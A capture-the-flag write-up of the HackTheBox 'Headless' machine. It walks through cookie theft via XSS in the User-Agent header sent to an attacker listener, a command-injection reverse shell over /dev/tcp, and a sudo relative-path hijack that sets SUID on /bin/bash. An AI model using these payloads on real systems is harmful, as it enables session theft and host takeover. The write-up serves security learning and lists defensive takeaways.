// HackTheBox
Headless
XSS via User-Agent header, admin's headless-browser bot → relative-path script hijack
Recon
nmap found two open ports:
| Port | Service |
|---|---|
| 22 | ssh — OpenSSH 9.2p1 |
| 5000 | http — Werkzeug 2.2.2, Python 3.11.2 |
Werkzeug is Flask’s development server, so port 5000 is a Python Flask app. It
serves an “Under Construction” landing page whose only real link points at
/support. A full port scan confirmed nothing else is listening, so the entire box
has to be reached through that one web app.
The interesting detail is the cookie. Every visitor is handed an is_admin cookie in
itsdangerous format — <b64 payload>.<signature>, e.g. is_admin=InVzZXIi.sig,
where the payload base64-decodes to the JSON string "user". (itsdangerous is the
library Flask uses to sign cookies: the value is stored in the clear and protected by
an HMAC signature, not encrypted.) The /dashboard page requires that decoded value
to be "admin"; it checks this itself and returns abort(401) with no
WWW-Authenticate header — a hand-rolled role check, not real HTTP Basic Auth.
The obvious move is to flip the payload to "admin" and re-sign it, but that needs
the server’s secret key. Editing the payload without a valid signature triggers an
unhandled exception (HTTP 500), which confirms the signature is genuinely verified.
Cracking the itsdangerous secret offline against rockyou.txt (14.3M candidates,
~3 min) and a curated wordlist (JWT secrets plus common passwords, ~116k) both came up
empty, so forging our own admin cookie isn’t viable. We need to steal a real one
instead — and something on this box has to be holding an admin cookie for us to steal.
Foothold — XSS via User-Agent header, admin’s headless-browser bot
/support is a ticket form (fname / lname / email / phone / message). Submitting an
HTML tag in the message field flags the ticket for “header analysis” by an admin
process — a headless-browser bot (which is where the box gets its name) that reviews
flagged tickets. Crucially, when it reviews one it renders the submitting request’s
User-Agent header back into a page unescaped. That header, not the visible form
fields, is the real injection point: the message field only serves to get the ticket
flagged so the bot looks at it.
So the attack is cross-site scripting (XSS) delivered through a request header. We POST
to /support with an HTML tag in message to trip the flag, and a script tag in the
User-Agent header that exfiltrates the bot’s own cookies to a listener we control:
User-Agent: <script>var i=new Image();i.src="http://<LHOST>:8000/steal?c="+document.cookie;</script>
message: <b>please review this ticket</b>
Because is_admin was set without the HttpOnly flag, JavaScript can read it via
document.cookie — that flag exists precisely to block this, and its absence is the
bug that makes the XSS pay off. The bot visited within a few minutes and its
legitimately-signed admin cookie (is_admin=ImFkbWluIg.<sig>) arrived on our HTTP
listener. Setting that cookie in our own browser unlocks /dashboard.
Dashboard command injection
/dashboard (now reachable with the stolen admin cookie) is a “generate website health
report” form with a single date field. That value is POSTed and interpolated
straight into a shell command server-side with no sanitisation, so anything we append
after a ; runs on the host. We use it to fire a reverse shell back to us:
$ date=2023-09-15; setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &
One catch worth flagging: a plain nc -lvnp listener does accept the connection, but
nc reads EOF from its own inherited stdin (whatever launched it) as soon as that
invocation returns, and the remote bash treats that EOF as exit, killing the session
immediately. The fix is to decouple nc’s stdin from a FIFO so it never sees EOF —
the same orphaned-session trick used on the Bedside box:
$ mkfifo nc_in; tail -f nc_in | nc -lvnp <port> -k
Commands are then fed in with echo "<cmd>" > nc_in, and tail -f keeps the pipe
open forever. The shell landed as dvir.
Privilege Escalation — relative-path script hijack
Checking what dvir may run as root:
sudo -l → (ALL) NOPASSWD: /usr/bin/syscheck. That script is root-only (it starts
with an EUID -ne 0 => exit 1 guard, so it’s meant to be run via sudo) and its body
includes:
if ! pgrep -x "initdb.sh" &>/dev/null; then
./initdb.sh 2>/dev/null # <-- relative path, no ./ dir pinning
fi
The bug is the bare ./initdb.sh: it’s a relative path, so which file actually runs
depends entirely on the working directory syscheck is invoked from. dvir’s mail
(/var/mail/dvir) all but spells this out — a message about a “new system check
script” and a nudge that “we’re still waiting on you to create the database
initialization script.” The box’s own fiction is pointing at the missing file we get
to supply.
So we plant our own initdb.sh (executable) in a directory we control, then run the
sudo-allowed script from that directory so its relative ./initdb.sh resolves to
ours and executes as root:
#!/bin/bash
cp /root/root.txt /tmp/.rootflag_out 2>/dev/null; chmod 644 /tmp/.rootflag_out
chmod u+s /bin/bash
Running sudo /usr/bin/syscheck from that directory copies out root.txt and, for
good measure, sets the SUID bit on /bin/bash so bash -p yields a root shell.
Key Takeaways
- Box name was a legitimate hint: “Headless” = an admin headless-browser bot reviews
flagged support tickets, and its cookie (no
HttpOnly) is the actual prize. - The message field just flags a ticket for review; the real unescaped-render injection point was a request header (User-Agent), not a form field — worth checking headers as XSS vectors, not just body params, on any “flag for review” style feature.
ncreverse shells silently die on EOF from their own inherited stdin unless decoupled (FIFO +tail -f) — cost real time here from repeated “connects then immediately exits” confusion.- Relative-path script execution inside a sudo-permitted script is a classic and
fast privesc once found — check every sudo-permitted script’s source for bare
./fooor unqualified command names.